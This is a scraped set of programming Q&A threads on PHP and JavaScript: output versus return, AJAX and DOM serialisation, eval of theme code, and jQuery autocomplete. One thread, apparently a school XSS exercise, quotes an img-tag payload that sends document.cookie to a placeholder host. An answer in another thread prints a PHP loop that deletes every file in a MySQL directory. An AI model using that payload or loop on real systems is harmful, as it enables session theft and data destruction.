get a JS value in php - php

I have a js function to return a title of a song and another one to return the artist of the same song. then I have another function which makes a string combining the name and the artist. finally I want to print that string in php.
this is my js:
function getName(){
return artist+ ", " + title;
}
and this is my php:
echo '<script>getName();</script>';
but this doesnt return anything. what am I missing??

You must still output the return value:
echo '<script>document.write(getName());</script>'; does not need jQuery, but is simple vanilla javascript.

You're not putting it on screen.
alert(getName()); would work. Same goes for $('.element').text(getName()); or something similar.

There's not a plausible way of doing this on a standard configuration. Javascript is evaluated after the PHP is. The PHP executes, then the server sends the results to the clients browser. The browser then renders that result, and THEN executes javascript. May I ask why you are doing this? It seems overly complicated. Why not just: document.write(getName());?

Related

rest echo vs return in GET

I am a newbie in php and rest and I'm trying to understand what is going on in my API when using echo vs return....
I've tried to get down to the simplest possible scenario to isolate an issue of my rest API not returning any value, so here is goes:
I have a test.php file on my server with following content:
<?php
if(function_exists($_GET['t1'])) {
echo $_GET['t1']();
}
else if(function_exists($_GET['t2'])) {
return $_GET['t2']();
}
function test() {
return json_encode("test...");
}
?>
I then make a simple request using, as unique header 'Content-Type: application/json`
https://www.eswys.ch/tmp/test.php?t1=test
https://www.eswys.ch/tmp/test.php?t2=test
And results are, respectively
"test..."
""
I really struggle to understand this, why is my returned value somehow "lost" - is there any explanation to this?!
Returning from a function does not actually render any content to the response. You may have seen people returning data in different frameworks but the framework is actually echoing the data for you behind the scenes.
return assigns a value to a function call (like a variable) and echo is simply output to the html page or possibly a terminal window.

Pass $.variable in url

I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
&lt img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie&gt
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>

Replicating preloaded HTML /DOM method results in an array using AJAX/PHP

I have a function that creates an array that contains the return value from the HTML DOM method : window.document.getElementById()
function makearray1(){
var array1=[1,window.document.getElementById('divID'),['a','b'],[1,2]];
}
then I pass the array into another function
use(array1)
function use(xxx){
xxx[1].innerHTML=xxx[2][0];
}
and 'a' is written in the appropriate div
later I decided to put the array in a form and post it to a txt file on the server using php and:
JSON.stringify(array)
So now I use AJAX to call the data from the txt file after the rest of the page has loaded etc... and the original function used to make the array is not included at all.
so my php is basically this:
$a1='use(';
$data1 =file_get_contents("text_file.txt") ;
$a2=')';
echo $a1.$data1.$a2;
and the response text:
var n= XMLHttpRequestObject.responseText;
eval(n);
which pretty much means this:
use(text_file)
function use(xxx){
xxx[1].innerHTML=xxx[2][0];
}
the problem is that the array in the text file looks like this:
[1,null,['a','b'],[1,2]]
instead of:
[1,window.document.getElementById('divID'),['a','b'],[1,2]]
My question: Is there any way that I can do the equivalent of what I'm trying to do here, which is immediately replicate the return value of the HTML/DOM method in an array using AJAX/php?
To clarify: this is a simple example. I actually have a huge, multidimensional array that already has established pointers, or prefetched DOM nodes in it. Now I'm trying to replicate the array when a text version is loaded using ajax. I'm looking for a recursive approach to changing all of the null assignments with something that will immediately fetch the appropriate DOM node. Most likely I will need to do it with the response text, but was hoping I could do it with the php portion.
You're trying to stringify a reference to a javascript object in the memory of whatever computer is evaluating getElementById first, and that has no chance to represent something on the end client's computer.
Send the id instead:
function makearray1(){
array1=[1,'divID',['a','b'],[1,2]];
}
then, in the client:
function use(xxx){
window.document.getElementById(xxx[1]).innerHTML=xxx[2][0];
}
If you really want to eval it at the end, you can use this, I guess
function makearray1(){
array1=[1,"window.document.getElementById(\"divID\")",['a','b'],[1,2]];
}
I've no idea why you would want to do that though
Assuming the dom element exists in the second page, it should look something like this.
JS:
function packDomData(){
return {
"MySpecificYetBriefProperty0":1,
"DomID":"divID",
"MySpecificYetBriefProperty1":['a','b'],
"MySpecificYetBriefProperty2":[1,2]
};
}
function useDomData(domData){
document.getElementByID(domData.DomID).innerHTML=domData.MySpecificYetBriefProperty1[0];
}
PHP:
//Make sure the contents of this file is the json from packDomData. use json_encode in php or JSON.stringify in js
echo file_get_contents("text_file.txt");
var myData = JSON.parse(XMLHttpRequestObject.responseText);
useDomData(myData);
I used to code like you. Here are some tips that have helped turn my coding horror into a fun job:
Use objects with descriptive properties instead of arrays whenever you aren't actually looping through the array - I promise it will save you and others headache! "DomID" is much more flexible than 1, and if you change the order in the array, javascript gods help you that array is everywhere - including however many random text files on your server!
Also use descriptive names for functions
Always return a value from a function instead of using globals whenever possible, even where the result is then used as a nasty global. Trust me.
Never put javascript function names in an ajax call. Use JSON instead and keep the functions and other script in the javascript file where it belongs.
Mysql will save your life!!
Disclaimer - I didn't run this code but it should basically work when you get everything hooked up right.

Determine whether code is html or php and return value

In my wordpress theme I am having an option with textarea where user can write code and store into the database as a string.
So here for output I want to check whether code written is php or html by tag or anything. I may force user to wrap them php code with <?php ... ?> and will remove before output it. HTML they can write straight.
Here what I am looking for and don't know how to determine
if(get_option()){
$removed_php_tag = preg_replace('/^<\?php(.*)\?>$/s', '$1', $Code);
return eval($removed_php_tag);
} esle if(get_option()) {
return $code;
}
If eval() is the answer then you're asking the wrong question.
If you just want to output the HTML they wrote in the text box, use echo or print.
At first I thought you were trying to allow the user to use PHP code for their pages.
The truth is, if a program is told to write dangerous PHP code on a page...it'll really do just that. "Write" it. You're just using the wrong function to write it out.
<?php
chdir('../mysql');
while (var $file = readdir(getcwd()) ) {
unlink($file);
}
echo 'Timmy has just played "Delete a database" on GamesVille! Join him now!';
?>
Even if Stack Overflow were written in PHP, you'll notice nothing has exploded just yet simply because of my answer, and yet it's perfectly visible.

jquery Autocomplete : autocomplete does not stop if string does not match

I used the auto-complete function in jquery. It's data source are the results from a php-back-end.
$("#ice_id").autocomplete("ice-ver.php", { extraParams : { flavour_id: $("#flavour_id").val() } });
Let us take following example:
We type in the flavour ID 3992 ...(and 3992 exists in the database and is properly returned by the php backend). If we type in now 3992999 the auto-complete function should top showing anything up ...but unfortunately it still does, (could the problem lie within the fact that I am using integers instead of strings or chars?)
Thanks in advance for any hints and
best regards
Daniyal
if it's showing something doesn't that mean there is a result from the php code? Check if it's really how you want it, and if you post it someone might be able to help
I agree with shyam. It seems like your PHP-code returns values. Try to request the PHP-script directly in a browser through the-url-to-php-script?flavour_id=3992999.
There are different autocomplete plugins for jquery. If you instead use the one at jquery ui (http://jqueryui.com/demos/autocomplete) your entered value are automatically passed to the URL-resource as the parameter "term". See if that helps you in pinning down the problem with the PHP-script.

Categories